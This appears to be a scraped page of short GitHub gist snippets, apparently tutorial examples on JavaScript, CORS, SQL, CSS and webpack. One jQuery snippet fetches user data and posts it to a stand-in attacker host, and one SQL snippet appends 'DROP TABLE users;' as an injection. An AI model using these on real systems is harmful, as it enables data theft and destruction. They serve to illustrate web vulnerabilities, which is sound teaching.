This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
console.log('hey there'); | |
function randomFunc() { | |
return Math.random() * 100; | |
} | |
function logger(msg) { | |
console.log(msg); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if not Function.prototype.bind | |
Function.prototype.bind = (oThis) -> | |
if typeof @ is not 'function' | |
throw new TypeError 'Function.prototype.bind - what is trying to be bound is not callable' | |
aArgs = Array.prototype.slice.call arguments, 1 | |
fToBind = @ | |
fNOP = -> {} | |
fBound = -> | |
ctx = if @ instanceof fNOP then @ else oThis | |
innerArgs = Array.prototype.slice.call arguments |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var corsOptions = { | |
"access-control-allow-origin": "*", | |
"access-control-allow-methods": "GET, POST, PUT, DELETE, OPTIONS", | |
"access-control-allow-headers": "content-type, accept", | |
"access-control-max-age": 10 | |
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$.get('https://origin-site.com/user-data', function(userData) { | |
$.post('http://hackityhack.com/users-to-exploit-data-storage', userData); | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SELECT users.username FROM users | |
WHERE user.username = 'Username' | |
AND users.password = 'Password'; | |
DROP TABLE users; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SELECT users.username FROM users | |
WHERE user.username = 'Username' | |
AND users.password = 'Password'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
body { | |
background: beige; | |
} | |
ul { | |
list-style-type: none; | |
} | |
li { | |
display: inline-block; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang=“en”> | |
<head> | |
<meta charset=“UTF-8”> | |
<title>Webpack test</title> | |
</head> | |
<body> | |
<script src=“bundle.js”></script> | |
</body> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module.exports = { | |
entry: ‘./app.js’, | |
output: { | |
path: __dirname, | |
filename: ‘bundle.js’ | |
}, | |
module: { | |
loaders: [ | |
{ test: /\.css$/, loader: ‘style!css’ } | |
/* Add any other loaders here */ |